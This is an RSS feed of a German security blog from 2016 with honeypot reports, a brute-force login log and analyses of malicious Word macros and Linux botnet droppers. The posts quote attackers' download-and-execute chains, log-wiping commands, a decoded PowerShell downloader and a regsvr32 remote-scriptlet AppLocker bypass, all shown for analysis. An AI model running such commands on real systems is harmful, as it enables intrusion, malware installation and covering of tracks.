Bits, Bytes and my 5 cents http://blog.encodingit.ch Life is just a technical game Tue, 26 Jul 2016 13:16:34 +0000 de-DE hourly 1 http://blog.encodingit.ch/wp-content/uploads/2014/02/cropped-panorama_shanghai-2-32x32.jpg Bits, Bytes and my 5 cents http://blog.encodingit.ch 32 32 Honeypot Project – Auswertung #2 http://blog.encodingit.ch/2016/07/honeypot-project-auswertung-2/ http://blog.encodingit.ch/2016/07/honeypot-project-auswertung-2/#respond Tue, 26 Jul 2016 13:14:08 +0000 http://blog.encodingit.ch/?p=5474 Nun, nach knapp 2 Monaten an Laufzeit für meinen SSH-Honeypot, möchte ich nochmals kurz Bilanz ziehen und schauen, was so gegangen ist in letzter Zeit.

Aktuell hat mein Honeypot fast 40k Verbindungen erfasst von über Eintausend IPs:

Anzahl Verbindungen: 40’127
Anzahl Uniq-IP: 1’053

Da ich viele der bekanntesten Passwörter wie „root“, „toor“, „password“, etc. filtere waren auch nicht alle Logins erfolgreich:

Anzahl Passwörter: 66’893
Anzahl erfolgreiche Logins: 3’670

Doch all jene, welche durchgekommen sind, haben sich auch gleich umgesehen:

Anzahl CMD: 2’688

Die Grosszahl der Befehle, welche abgesetzt werden, dienen dem Nachladen von weiteren Scripten:

cd /var/ || cd /tmp/ || cd /var/run || cd /var/tmp/ || cd /dev/ || cd /mnt/
busybox wget http://64.95.100.88/.fagbin.sh || wget http://64.95.100.88/.fagbin.sh
busybox bash .fagbin.sh || sh .fagbin.sh
rm -rf .fagbin.sh
busybox tftp -r .fagbin2.sh -g 64.95.100.88 || tftp -r .fagbin2.sh -g 64.95.100.88
busybox bash .fagbin2.sh || sh .fagbin2.sh
busybox tftp 64.95.100.88 -c get .fagbin3.sh || tftp 64.95.100.88 -c get .fagbin3.sh
busybox bash .fagbin3.sh || sh .fagbin3.sh
rm -rf .fagbin2.sh .fagbin3.sh .fagbin.sh

Aber auch Testskripte für Speedtests sehe ich immer öfters. Hier soll der Server wohl als DDoS-Bot dienen. Nur sehr selten sieht man etwas komplexere Versuche:

unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG WATCH
history -n
export HISTFILE=/dev/null
export HISTSIZE=0
export HISTFILESIZE=0
rm -rf /var/log/wtmp
rm -rf /var/log/lastlog
rm -rf /var/log/secure
rm -rf /var/log/xferlog
rm -rf /var/log/messages
rm -rf /var/log/syslog
rm -rf /var/run/utmp
touch /var/run/utmp
touch /var/log/messages
touch /var/log/wtmp
touch /var/log/messages
touch /var/log/xferlog
touch /var/log/secure
touch /var/log/lastlog
rm -rf /var/log/maillog
touch /var/log/maillog
rm -rf /root/.bash_history
touch /root/.bash_history
history -r
rm -rf /var/spool/mail/root

cd /tmp
wget http://212.154.211.81/j.txt
curl -O http://212.154.211.81/j.txt
fetch http://212.154.211.81/j.txt
lwp-download http://212.154.211.81/j.txt
perl j.txt 113.30.102.54
rm -rf *.txt
uname
free -m
cat /proc/cpuinfo
cat /etc/issue

Wer das Projekt auch verfolgen möchte, der kann das hier machen.

]]>
http://blog.encodingit.ch/2016/07/honeypot-project-auswertung-2/feed/ 0
Neues Maldoc mit Substring-Obfuscation http://blog.encodingit.ch/2016/07/neues-maldoc-mit-substring-obfuscation/ http://blog.encodingit.ch/2016/07/neues-maldoc-mit-substring-obfuscation/#respond Thu, 21 Jul 2016 14:57:38 +0000 http://blog.encodingit.ch/?p=5461 Die Anzahl an Maldoc hat in letzter Zeit doch merklich zugenommen. Während sich die Emails der Versender, sowie der Inhalt der Dokumente immer weiterentwickeln, so bleiben die Schadcodes und Dropper mehr oder weniger stehen.

Fast immer gibt es ein Maldoc mit 2 Makros, einmal eine Entschleierungsfunktion und einmal der verschleierte Payload. So ist das auch bei folgendem Beispiel, welches mir zugesandt wurde:

MD5 8252487d2868460e543b06b08ab3fa35
SHA1 d510b7384b7e8ce3fa887f18d10f3dbd14cbf0ed
SHA256 440f976f1dc767acfc763f2c4df4d5a97819093e15e5f1cea25e4f92907abaa8

Im Dokument eingebettet die bekannten beiden Makros:

A: word/vbaProject.bin
 A1:       481 'PROJECT' aea827326f40d9b37ee04b2657304f8c
 A2:        65 'PROJECTwm' 22638e81fa887fedca797e15983097dd
 A3: M    1537 'VBA/Module1' 97554cc9b8aceb0c8f2fc7f41337db8f
 A4: M    6920 'VBA/ThisDocument' b9f2d3ed04e381a2127b79665d9d11b8
 A5:      3799 'VBA/_VBA_PROJECT' 28bd9d3afac2ad580dfd357e0373f231
 A6:       826 'VBA/dir' c41d9be1ff47107f96813bb0716bf127
B: word/activeX/activeX1.bin
 B1:        26 '\x03OCXNAME' 52091629f4ec3595fe17f5d3a4233d61
 B2:         6 '\x03ObjInfo' e28252a4dfe8cb4ca7c63a6e6a67d61e
 B3:        94 'Contents' 9a03dc7f52538eaf7489a2c9b4ea3973

Beim Durchschauen des Codes fällt dann auch sofort die Verschleierung auf:

oLxb = s("woebFeceF-hempmS/)ieN.p-eaj)otxoy(oe)oN=i.y.beniI tP)DhNn:-atjimt(ictN :ect;preSuOlte.n e.s$mm$fe[cWsbCm'eO$)a;
o]elGOdTelp 'lotaW/(rh(tewhtblicEcScctf/.fftSeetil.,n.f.t(w:", 949, 1597)

Vom Look and Feel sieht die Funktion aus wie ein Substring oder so. Also nimmt man sich mal die Funktion s(), und schaut mal was die genau macht, bis man irgendwann auf folgenden Algorithmus kommt:

Function decrypt(ByVal strCrypt As String, ByVal intStart As Integer, ByVal intEnd As Integer) As String
    intMod = intStart Mod Len(strCrypt)
    Do While Len(decrypt) < Len(strCrypt)
        decrypt = decrypt & Mid(strCrypt, intMod + 1, 1)
        intMod = (intMod + intEnd) Mod Len(strCrypt)
    Loop
End Function

Nun filtert man noch alle Aufrufe der entsprechenden Funktion und kann sich so die verschleierten Strings anzeigen lassen und nach interessantem filtern. Es muss sich sicherlich mal um ein Powershell-Script handeln, denn aus:

rd inmpso-dPaahwEdonseSxeldslteni  lyc cp-.lu-yoWeetc wix ioBeneHomy

wird ganz plötzlich:

powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -command

Und auch weitere Files sollen nachgeladen werden, denn aus:

woebFeceF-hempmS/)ieN.p-eaj)otxoy(oe)oN=i.y.beniI tP)DhNn:-atjimt(ictN :ect;preSuOlte.n e.s$mm$fe[cWsbCm'eO$)a;o]elGOdTelp 'lotaW/(rh(tewhtblicEcScctf/.fftSeetil.,n.f.t(w:

wird nun:

$f=[System.IO.Path]::GetTempFileName();
(New-Object System.Net.WebClient).DownloadFile('hXXp://thereputationco.com/office.bin', $f);
(New-Object -com WScript.Shell).Exec($f)

Und so weiter:

WinHttp.WinHttpRequest.5.1
https://wtfismyip.com/json
Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Das Bin-File, welches heruntergeladen wird, wird zwar selbst nicht erkannt, ist aber bekannt im Zusammenhang mit Angler EK und Cryptowall

]]>
http://blog.encodingit.ch/2016/07/neues-maldoc-mit-substring-obfuscation/feed/ 0
Android Trojaner als Post-App via SMS http://blog.encodingit.ch/2016/06/android-trojaner-als-post-app-via-sms/ http://blog.encodingit.ch/2016/06/android-trojaner-als-post-app-via-sms/#comments Thu, 16 Jun 2016 19:41:56 +0000 http://blog.encodingit.ch/?p=5440 Aktuell kursiert im Schweizer Mobilfunknetz ein Android-Trojaner getarnt als verpasstes Post-Paket:

image

Hinter dem Short-Link steht der Link zu einer APK-Datei, welche sich als Post-App ausgibt.

image

Am Ende ist es jedoch ein einfacher Trojaner:

image

Dies wird auch schnell klar, wenn man sich die App mal genauer anschaut. So verschafft sich das Ding ganz schön viele Berechtigungen, die jeden Smartphone-User hellhörig werden lassen sollten:

image

Am Besten ist es, die SMS zu löschen und sofort zu vergessen!

]]>
http://blog.encodingit.ch/2016/06/android-trojaner-als-post-app-via-sms/feed/ 4
Honeypot Project – Auswertung http://blog.encodingit.ch/2016/06/honeypot-project-auswertung/ http://blog.encodingit.ch/2016/06/honeypot-project-auswertung/#respond Mon, 13 Jun 2016 10:57:49 +0000 http://blog.encodingit.ch/?p=5420 Mein Honypot ist nun knappe 10 Tage gelaufen und es ist Zeit für eine erste Auswertung.

Insgesamt sind fast 200 Uniq-IPs im Honeypot aufgeschlagen und haben zusammen ca. 28’500 Loginversuche ausgeführt – das sind rund 2 Passwortversuche pro Minute…

Davon waren aber gerade mal 434 erfolgreich (ich habe die bekanntesten Passwörter weggefiltert und die bereits erfolgreichen jeweils dem Exclude immer wieder ergänzt) und nur 131 haben tatsächlich ein Kommando auf dem System abgesetzt. Die am Meisten genutzten Kommandos sind erwartungsgemäss:

cmd

Dabei scheint es die meisten zu interessieren, wo sie sind und wie sie mit der Aussenwelt verbunden sind und erst dann lädt man sich mit wget neue Daten nach, macht ja auch nur so rum Sinn 🙂

Wenn man sich nun mal die benutzten Kombinationen anschaut, so fällt auf, dass die Standards wie „root/root“ oder „root/password“ zwar noch in den Top 15 dabei sind, jedoch nicht mehr ganz vorne dabei. Viel beliebter scheint „root/*“ zu sein:

passwoerter

Wenn man die User gesondert anschaut, so zeigt sich das übliche Bild:

user

Bei den Passwörtern hingegen kam für mich wieder die nächste Überraschung:

user_pw

Hier sind wieder Passwörter wie „*“ oder „**“ vorne dabei. Sehr spannend fand ich das Passwort „<b,bujY“. Dies scheint mir irgendwie viel zu spezifisch, als dass dies bei einer Brute-Force passen könnte… Vielleicht das Standardpasswort einer verbreiteten Software?

]]>
http://blog.encodingit.ch/2016/06/honeypot-project-auswertung/feed/ 0
Freundliches Hallo aus Russland http://blog.encodingit.ch/2016/06/freundliches-hallo-aus-russland/ http://blog.encodingit.ch/2016/06/freundliches-hallo-aus-russland/#respond Wed, 08 Jun 2016 09:49:50 +0000 http://blog.encodingit.ch/?p=5411 Heute gab es eine spannende Begegnung mit einem Angreifer aus Russland:

Verbindung: 185.103.109.70
Version: SSH-2.0-libssh2_1.4.2
Login: root / admin

Kaum war die Verbindung aufgebaut, ging es auch schon los:

cd /tmp;
wget hXXp://185.22.173.65/bins.sh
chmod +x bins.sh
chmod 777 *
sh bins.sh"

Die Datei „bins.sh“ dient als einfacher Dropper:

MD5: 18dd76f99d222bf2cb193a5cdb872e3d
SHA1: 4fdb0beaaa8db435d771ba9deb7c01afc3b5a2c3
SHA256: 07fe22f4b754d28efd62157f7ee6aa4c1f63dd21dac33c2b600e42cbabff6daf
Magic literal: ASCII text

Sobald die Datei gestartet wird, werden weitere Ressourcen vom selben Server heruntergeladen:

wget hXXp://185.22.173.65/snarmv6; chmod +x snarmv6; chmod 777 *; ./snarmv6
wget hXXp://185.22.173.65/snmips; chmod +x snmips; chmod 777 *; ./snmips
wget hXXp://185.22.173.65/snmipsel; chmod +x snmipsel; chmod 777 *; ./snmipsel
wget hXXp://185.22.173.65/snpowerpc; chmod +x snpowerpc; chmod 777 *; ./snpowerpc
wget hXXp://185.22.173.65/snsh4; chmod +x snsh4; chmod 777 *; ./snsh4
wget hXXp://185.22.173.65/snmyx86; chmod +x snmyx86; chmod 777 *; ./snmyx86
wget hXXp://185.22.173.65/vmp; chmod +x vmp; chmod 777 *; ./vmp

Hinter den einzelnen Dateien steht der Trojaner Gafgyt in verschiedene Versionen, welcher dem Angreifer auch als Backdoor dient:

snarmv6: 657d00724e41e5c40331f5eb925e56acf7c9dd3188b2c0a268623ed6e580a556
snmips: c8aa69c0d6e3399411cfae7c65b70bf8b1b0c099c80613a302e53b2d04d2be16
snmipsel: 0388e01fec61499e6d5cc7b3b2d88353886ae619d83c0d8ae633b1eb8684bf9a
snpowerpc: 5e0f5df89d6589f4f67ab5b051da388f48dcaa66d21a14562f23157c0f9b54f1
snsh4: 9922bada2c9dee8529da8482b66f35b7df415c5cc291e675c688fdfa0db131cc
snmyx86: 40f47ddda5ca8ceacd1ca9f4dd4e65fb5f6749d33c083ed6bf83aa7b861821f1
vmp: 17d5252c3c9d1d37340bf91a2e0eedcf24890858100b270f5386616669edf11e

Circa eine Stunde später, war der liebe Kollege aber schon wieder auf meinem System jedoch mit neuen Befehlen:

cd /tmp
wget hXXp://107.172.41.130/bins.sh || curl -O hXXp://107.172.41.130/bins.sh
chmod 777 bins.sh
sh bins.sh
busybox tftp 107.172.41.130 -c get tftp1.sh
chmod 777 tftp1.sh
sh tftp1.sh
busybox tftp -r tftp2.sh -g 107.172.41.130
chmod 777 tftp2.sh
sh tftp2.sh
rm -rf bins.sh tftp1.sh tftp2.sh

Diesmal hat sich auch der Dropper etwas verändert, scheint wohl Version 2.0 zu sein.

cd /tmp; wget hXXp://107.172.41.130/GHfjfgvj; chmod 777 GHfjfgvj; ./GHfjfgvj; rm -rf GHfjfgvj
cd /tmp; wget hXXp://107.172.41.130/JIPJIPJj; chmod 777 JIPJIPJj; ./JIPJIPJj; rm -rf JIPJIPJj
cd /tmp; wget hXXp://107.172.41.130/jhUOH; chmod 777 jhUOH; ./jhUOH; rm -rf jhUOH
cd /tmp; wget hXXp://107.172.41.130/RYrydry; chmod 777 RYrydry; ./RYrydry; rm -rf RYrydry
cd /tmp; wget hXXp://107.172.41.130/UYyuyioy; chmod 777 UYyuyioy; ./UYyuyioy; rm -rf UYyuyioy
cd /tmp; wget hXXp://107.172.41.130/XDzdfxzf; chmod 777 XDzdfxzf; ./XDzdfxzf; rm -rf XDzdfxzf
cd /tmp; wget hXXp://107.172.41.130/JIPJuipjh; chmod 777 JIPJuipjh; ./JIPJuipjh; rm -rf JIPJuipjh
cd /tmp; wget hXXp://107.172.41.130/DFhxdhdf; chmod 777 DFhxdhdf; ./DFhxdhdf; rm -rf DFhxdhdf
cd /tmp; wget hXXp://107.172.41.130/FDFDHFC; chmod 777 FDFDHFC; ./FDFDHFC; rm -rf FDFDHFC
cd /tmp; wget hXXp://107.172.41.130/FTUdftui; chmod 777 FTUdftui; ./FTUdftui; rm -rf FTUdftui

Hinter den einzelnen Files steht am Schluss aber immer noch der selbe Trojaner, somit nichts neues an dieser Front. Aber mal schauen, ob wir uns bald wieder sehen, vielleicht mit Version 3.0…

]]>
http://blog.encodingit.ch/2016/06/freundliches-hallo-aus-russland/feed/ 0
Die Essenz von Brute-Force-Angriffen http://blog.encodingit.ch/2016/06/die-essenz-von-brute-force-angriffen/ http://blog.encodingit.ch/2016/06/die-essenz-von-brute-force-angriffen/#comments Sat, 04 Jun 2016 11:48:59 +0000 http://blog.encodingit.ch/?p=5403 Heute bin ich wieder über ein lustiges Treffen zwischen meinem Honeypot und einem Kollegen aus Kanada gestossen. Dieser hat sich ziemlich lange auf meinem Server ausgetobt und insgesamt 109 Benutzername/Passwort-Kombinationen ausprobiert – und das obwohl er bereits beim ersten Versuch erfolgreich war 😀

02:28:55 - Neue Verbindung: 45.62.239.168 
02:28:56 - Login-Versuch: [root/nu-e-bun] erfolgreich
02:29:03 - Login-Versuch: [root/g2wvs3mJe6H6] erfolgreich
02:29:11 - Login-Versuch: [root/10D2mixmswCN] erfolgreich
02:29:18 - Login-Versuch: [root/can1dace] erfolgreich
02:29:26 - Login-Versuch: [root/G00dS5hs3rV3rR00t] erfolgreich
02:29:34 - Login-Versuch: [root/GftRudW!!] erfolgreich
02:29:40 - Login-Versuch: [root/ggdaseuaimhrke] erfolgreich
02:29:48 - Login-Versuch: [root/ROOT500] erfolgreich
02:29:56 - Login-Versuch: [root/apache2svn] erfolgreich
02:30:04 - Login-Versuch: [root/apache!svn] erfolgreich
02:30:12 - Login-Versuch: [root/apache@svn] erfolgreich
02:30:19 - Login-Versuch: [root/<b,bujY] erfolgreich
02:30:26 - Login-Versuch: [root/centos5svm] erfolgreich
02:30:33 - Login-Versuch: [root/centos6svm] erfolgreich
02:30:39 - Login-Versuch: [root/centos7svm] erfolgreich
02:30:46 - Login-Versuch: [root/Fi5bebeinguve4] erfolgreich
02:30:53 - Login-Versuch: [root/cms500] erfolgreich
02:31:04 - Login-Versuch: [root/dontxekme] erfolgreich
02:31:10 - Login-Versuch: [root/Ebs!@#456] erfolgreich
02:31:17 - Login-Versuch: [root/eHQD91VXAvn6VY] erfolgreich
02:31:25 - Login-Versuch: [root/fedora7svm] erfolgreich
02:31:32 - Login-Versuch: [root/firedrop2] erfolgreich
02:31:39 - Login-Versuch: [root/fivranne] erfolgreich
02:31:47 - Login-Versuch: [root/mawhyts5] erfolgreich
02:31:54 - Login-Versuch: [root/franksinatra] erfolgreich
02:32:01 - Login-Versuch: [root/smart488] erfolgreich
02:32:09 - Login-Versuch: [root/dico9984245] erfolgreich
02:32:17 - Login-Versuch: [root/@rtz0ne0829] erfolgreich
02:32:24 - Login-Versuch: [root/;yogfnvoxu] erfolgreich
02:32:32 - Login-Versuch: [root/b8ec3103f05c47b34759672a3fa14bf4] erfolgreich
02:32:39 - Login-Versuch: [root/floiubestepeinab8ec3103f05c47b34759672a3fa14bf4] erfolgreich
02:32:47 - Login-Versuch: [admln/kopet123] fehlgeschlagen
02:32:50 - Login-Versuch: [root/temprootpass123!@] erfolgreich
02:32:57 - Login-Versuch: [root/69ixaya] erfolgreich
02:33:05 - Login-Versuch: [root/heremon@./] erfolgreich
02:33:12 - Login-Versuch: [root/Heremon@./] erfolgreich
02:33:20 - Login-Versuch: [root/heremon] erfolgreich
02:33:28 - Login-Versuch: [root/zd9367u2] erfolgreich
02:33:35 - Login-Versuch: [root/pw123123] erfolgreich
02:33:42 - Login-Versuch: [artem/KK@rTem12K] fehlgeschlagen
02:33:44 - Login-Versuch: [dbseller/2011#dbimplanta] fehlgeschlagen
02:33:47 - Login-Versuch: [root/2011#dbimplanta] erfolgreich
02:33:54 - Login-Versuch: [phper/1qaz23eds] fehlgeschlagen
02:33:57 - Login-Versuch: [phper/php123] fehlgeschlagen
02:33:59 - Login-Versuch: [damnpoet/mandrak3] fehlgeschlagen
02:34:01 - Login-Versuch: [wordpress/wordpress] fehlgeschlagen
02:34:03 - Login-Versuch: [jenkins/jenkins] fehlgeschlagen
02:34:06 - Login-Versuch: [minecraft/minecraft] fehlgeschlagen
02:34:08 - Login-Versuch: [wuryanto/wuryanto123] fehlgeschlagen
02:34:11 - Login-Versuch: [damriftp/damri123] fehlgeschlagen
02:34:13 - Login-Versuch: [userftp/userftp123] fehlgeschlagen
02:34:15 - Login-Versuch: [damri/123] fehlgeschlagen
02:34:18 - Login-Versuch: [veeambackup/wb68eCPEVT] fehlgeschlagen
02:34:20 - Login-Versuch: [kenny/8701900] fehlgeschlagen
02:34:22 - Login-Versuch: [www/Gw@12345] fehlgeschlagen
02:34:25 - Login-Versuch: [fedora/fedora] fehlgeschlagen
02:34:27 - Login-Versuch: [ubuntu/ubuntu] fehlgeschlagen
02:34:29 - Login-Versuch: [wwwuser/wwwuser] fehlgeschlagen
02:34:31 - Login-Versuch: [debian/debian] fehlgeschlagen
02:34:34 - Login-Versuch: [user5/user5] fehlgeschlagen
02:34:36 - Login-Versuch: [foobar/foobar] fehlgeschlagen
02:34:39 - Login-Versuch: [mexal/mexal] fehlgeschlagen
02:34:41 - Login-Versuch: [gene/gene] fehlgeschlagen
02:34:43 - Login-Versuch: [kang/xiaochen445362] fehlgeschlagen
02:34:45 - Login-Versuch: [nfsnobod/ppkpiu1234] fehlgeschlagen
02:34:47 - Login-Versuch: [openvpn/openvpn] fehlgeschlagen
02:34:49 - Login-Versuch: [shift/!nera@6794] fehlgeschlagen
02:34:51 - Login-Versuch: [ttf/skilodudecta] fehlgeschlagen
02:34:53 - Login-Versuch: [ssh/darunee123] fehlgeschlagen
02:34:56 - Login-Versuch: [greg/greg] fehlgeschlagen
02:34:58 - Login-Versuch: [vpsadmin/SpAd!e-8] fehlgeschlagen
02:35:00 - Login-Versuch: [sshd/dabestmouse] fehlgeschlagen
02:35:06 - Login-Versuch: [tose/toso123hack] fehlgeschlagen
02:35:09 - Login-Versuch: [vivek/vivek] fehlgeschlagen
02:35:12 - Login-Versuch: [zabbix/lunaealba] fehlgeschlagen
02:35:15 - Login-Versuch: [paul/l!sababeln888wx*] fehlgeschlagen
02:35:17 - Login-Versuch: [sercon/sercon] fehlgeschlagen
02:35:20 - Login-Versuch: [patriciar/patriciar] fehlgeschlagen
02:35:22 - Login-Versuch: [anders/anders] fehlgeschlagen
02:35:25 - Login-Versuch: [felipe/felipe] fehlgeschlagen
02:35:28 - Login-Versuch: [coupon/coupon] fehlgeschlagen
02:35:30 - Login-Versuch: [kylix/alexxutzu1$@121] fehlgeschlagen
02:35:33 - Login-Versuch: [etherpad/etherpad] fehlgeschlagen
02:35:35 - Login-Versuch: [links/links] fehlgeschlagen
02:35:38 - Login-Versuch: [tamas/tamas] fehlgeschlagen
02:35:41 - Login-Versuch: [pgsql/pgsql] fehlgeschlagen
02:35:43 - Login-Versuch: [techsupport/techsupport] fehlgeschlagen
02:35:45 - Login-Versuch: [kb/kb] fehlgeschlagen
02:35:49 - Login-Versuch: [ming/ming] fehlgeschlagen
02:35:51 - Login-Versuch: [saneke/sMb2Z9yVPFTJ.] fehlgeschlagen
02:35:54 - Login-Versuch: [karol/karol] fehlgeschlagen
02:35:57 - Login-Versuch: [nfsnobod/dance4life] fehlgeschlagen
02:35:59 - Login-Versuch: [uzzica/uzzyca123aa] fehlgeschlagen
02:36:03 - Login-Versuch: [brutus/test123aa] fehlgeschlagen
02:36:05 - Login-Versuch: [MaxService/admax5543] fehlgeschlagen
02:36:07 - Login-Versuch: [Bali/bali1234`] fehlgeschlagen
02:36:09 - Login-Versuch: [framirez/GanimedeS1] fehlgeschlagen
02:36:11 - Login-Versuch: [root/GanimedeS1] erfolgreich
02:36:19 - Login-Versuch: [vcollaguazo/123vc5823.clid] fehlgeschlagen
02:36:22 - Login-Versuch: [pruebas/pruebas] fehlgeschlagen
02:36:25 - Login-Versuch: [ftp_id/ftp_pass] fehlgeschlagen
02:36:28 - Login-Versuch: [git/cardemis1] fehlgeschlagen
02:36:31 - Login-Versuch: [x/&b4;c2!;k(Ly3-);s(B-] fehlgeschlagen
02:36:33 - Login-Versuch: [kopet/qweasdzxc] fehlgeschlagen
02:36:36 - Login-Versuch: [yangjunpian/AKG450@ikki.me] fehlgeschlagen
02:36:38 - Login-Versuch: [root/savadaumuielatoti] erfolgreich
02:36:46 - Login-Versuch: [bin/tzehu1.,123] fehlgeschlagen
02:36:48 - Login-Versuch: [root/ime@server01!] erfolgreich

Schön blöd, wenn man bei einer Brute-Force-Attacke nicht merkt, dass man Erfolg hatte und idealerweise den Angriff terminieren könnte und noch weitere 10 Minuten weiterprobiert…

]]>
http://blog.encodingit.ch/2016/06/die-essenz-von-brute-force-angriffen/feed/ 2
Honeypot Project – Wie exponiert sind öffentliche Server wirklich? http://blog.encodingit.ch/2016/06/honeypot-wie-exponiert-sind-oeffentliche-server-wirklich/ http://blog.encodingit.ch/2016/06/honeypot-wie-exponiert-sind-oeffentliche-server-wirklich/#respond Thu, 02 Jun 2016 11:42:45 +0000 http://blog.encodingit.ch/?p=5394 Ein Vorsatz, welchen ich mir eigentlich schon länger vorgenommen hatte und nun doch noch endlich mal umgesetzt hatte, ist ein eigener Honeypot. Ziel ist es, herauszufinden, wie exponiert ein öffentlicher Server wirklich ist und dazu habe ich konkret ein SSH Honeypot aufgesetzt und mit einer mehr oder weniger komplexen Konfiguration ausgestattet. Der Honeypot ist am Ende nur low-interactive, doch zum Erfassen von grundlegenden Scans, Passwortversuchen und den ersten Gehversuchen auf einem möglicherweise erfolgreich kompromittiertem System reicht es allemal aus.

Zum Setup ist zu sagen, dass die Maschine sowie die IP bisher nicht genutzt wurden und erst kurz vor dem Honeypot selbst mit online gekommen sind. Die Maschine ist also ziemlich neu im Internet. Mit diesem Wissen im Hinterkopf hat es mich umso mehr erstaunt, dass es knapp 25 Minuten gedauert hat, bis der erste Loginversuch aus Vietnam eingetroffen ist:

Quelle: 113.175.130.234
Version: SSH-2.0-JSCH-0.1.51
Login-Methode: none, keyboard-interactive

Das es ein automatisierter Versuch ist, zeigte sich in den wenigen User/Passwort-Kombinationen, die der Angreifer versuchte:

1. Versuch: „support“ | „support“
2. Versuch: „support“ | „“
3. Versuch: „support“ | „support“

Nach insgesamt 5 Sekunden war der Angreifer auch bereits schon weiter gezogen, weil keiner der Versuche erfolgreich waren – ein weitere Indikator für ein automatischer Probe.

Viel interessanter wird es nun, sobald der erste nicht-automatisierte Angriff eintrifft. Meine Vermutung wäre, dass diese Ankommen, sobald die IP das erste Mal bei z.B. Shodan.io erfasst und gelistet wird… Seien wir gespannt. 🙂

Wer die Angriffe ein bisschen verfolgen möchte, der kann das hier machen.

]]>
http://blog.encodingit.ch/2016/06/honeypot-wie-exponiert-sind-oeffentliche-server-wirklich/feed/ 0
Maldoc mit süsser Obfuscation-Funktion http://blog.encodingit.ch/2016/05/maldoc-mit-lustiger-obfuscation-funktion/ http://blog.encodingit.ch/2016/05/maldoc-mit-lustiger-obfuscation-funktion/#respond Tue, 31 May 2016 11:30:55 +0000 http://blog.encodingit.ch/?p=5377 Gestern Abend bin ich über neues Maldoc gestolpert, dass auf den ersten Blick sehr kompliziert aussah:

[...]
Set xvGcGaMtmtsqj = dYfMNY.ZXulRsApI(68, wvbhvJfvaLWIzT.iIqfbn(&quot;pEnfvTCirqofpnmpefTnt7&quot;, &quot;C7Ypf4Tq&quot;), wvbhvJfvaLWIzT.iIqfbn(&quot;Px1ROmlCxEbSSl&quot;, &quot;9umxbi1l&quot;), 7519, GsaOpV.UpkiCBrNtX(AaSjglvEmkLH, &quot;NcVfRlOgu4k4NVNaHhqMe1AWBhTlG51M&quot;))
pRYzNNXZS = xvGcGaMtmtsqj(ezrRWhq)
End Function
Private Function SwClPpjEAB() As String
Dim sNBkRCbguD As Integer
SwClPpjEAB = dYfMNY.JWYQdzeb(wvbhvJfvaLWIzT.iIqfbn(&quot;PHZaVthZLSe.vpHarL.at.ovdr&quot;, &quot;.BZLdcNHVv&quot;), &quot;43CVcqwBJrZkcfGsqB&quot;, Application, &quot;wvJEkSg9hu46OR5NzFFmBqwa6dt7U0z5c&quot;)
End Function
Public Sub SKBCDeXe(ByVal mEpwaGFA As Integer, ByVal FlFzcbqa As Boolean, ByVal kgBzR As String)
Dim kKjJwGHDZYBZZ As String
Dim ftQqCepBh As Boolean
qUhLRTFKmkk = &quot;fbpJMo3Af1GpdrPBMM1w&quot;
[...]

Auf den ersten Blick konnte ich nichts lesbares erkennen und habe auch sonst keinen Anhaltspunkt gefunden.
Bis ich die folgende Textstelle gesehen habe:

Set xAtoMryc = QlPrZgKdBmXkp.hkHNQnQ(wvbhvJfvaLWIzT.iIqfbn(&quot;hqFtt8 p0s:qq// w 8wFw0.lma0xllm i0nd8 .qclom80/g0eF8oi0 p0/qvq2 .1q0/cli80tyqF/0m e&quot;, &quot; Fql80&quot;))

Das sieht mir doch ganz nach einer URL aus, einfach mit ein paar Zeichen zuviel dazwischen…

Also habe mal begonnen die Zeichen rauszuschreiben, welche ich mit Sicherheit ausschliessen kann wie zum Beispiel alles zwischen dem „HTTPS://www.“ und so ergab sich die Zeichenfolge „qF8 0“. Und wenn man nun die gesamte Zeile anschaut, so muss einem irgendwas auffallen – na, schon gesehen? 🙂

Genau, es wird noch ein Teststring mitgegeben, welcher genau die selben Zeichen enthält. Also löschen wir doch einfach mal die Zeichen aus dem zweiten Parameter raus und schauen, was rauskommt:

hXXps://www.maxmind.com/geoip/v2.1/city/me

Schon lustig, wie schnell man eine Funktion geknackt hat, ohne sonst etwas über den Code zu wissen! Vor allem, wenn es die Funktion 29 Mal gibt im Code 🙂
Nun, nachdem bekannt ist, dass die Funktion nur Zeichen entfernt, ist es ziemlich einfach, die URLs zu identifizieren – eine einfache Suche nach „/“ führt zum Ziel, sobald das Zeichen doppelt im String vorkommt:

ZvHyZixsu rbPzjfS.mdynDInbyX, 7505, wvbhvJfvaLWIzT.iIqfbn(&quot;hLAt6tp6O:6/O/pAr2iOn66twLOizAz2O.bOi6Oz6/Oi2maLAgLe/j2siAjgjnL.vpnAgL&quot;, &quot;O26vjAL&quot;)

Wenn man nun die selbe Replace-Funktion wieder anwendet, so bekommt man:

hXXp://printwizz.biz/image/sign.png

Hinter der URL versteckt sich nun aber kein Bild, sondern ein Executable:

Filename: sign.png.exe
Size: 123KiB (125952 bytes)
Type: PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
Architecture: 32 Bit
SHA256: 97b1e8282d1ec8f82a83eb3d8a991f494e332e4059b1c9f0d53beda257e21629

Laut erster Analyse scheint das Sample wohl zu Dridex zu gehört. Sobald das Executable am laufen ist, wird eine TCP-Verbindungen nach Tschechien aufgebaut und Daten abgezogen:

host

Wer sich das Sample im Detail anschauen möchte, der darf das gerne hier machen: Disassembler

]]>
http://blog.encodingit.ch/2016/05/maldoc-mit-lustiger-obfuscation-funktion/feed/ 0
Regsvr32 und Remote-Scripts – der darf das wirklich? http://blog.encodingit.ch/2016/05/mit-regsvr32-den-windows-applocker-aushebeln/ http://blog.encodingit.ch/2016/05/mit-regsvr32-den-windows-applocker-aushebeln/#respond Sun, 15 May 2016 13:06:15 +0000 http://blog.encodingit.ch/?p=5357 Mal ganz ehrlich: Wer hat gewusst, dass man mit regsvr32 auch Scripts von einem Remote-Host herunterladen und ausführen kann? Also ich erst seit einem entsprechenden Artikel von Casey Smith

Und die Problematik ist gar nicht mal so unbedeutend: Auf einem einfachen Client mit laufendem AppLocker können nicht einfach so beliebige neue / unbekannte Prozesse gestartet werden. Da ist es doch ideal, wenn man einen bestehenden verwenden kann wie regsvr32, der auf jedem Windows-System schon vorhanden ist. Noch besser, wenn man damit noch die nötigen Ressourcen von einem Remote-Host nachladen und gleich ausführen kann…

Alles was man braucht ist Zugang zu einer Shell und ein Kommando abzusetzen:

regsvr32 /s /n /u /i:http://encodingit.ch/poc.sct scrobj.dll

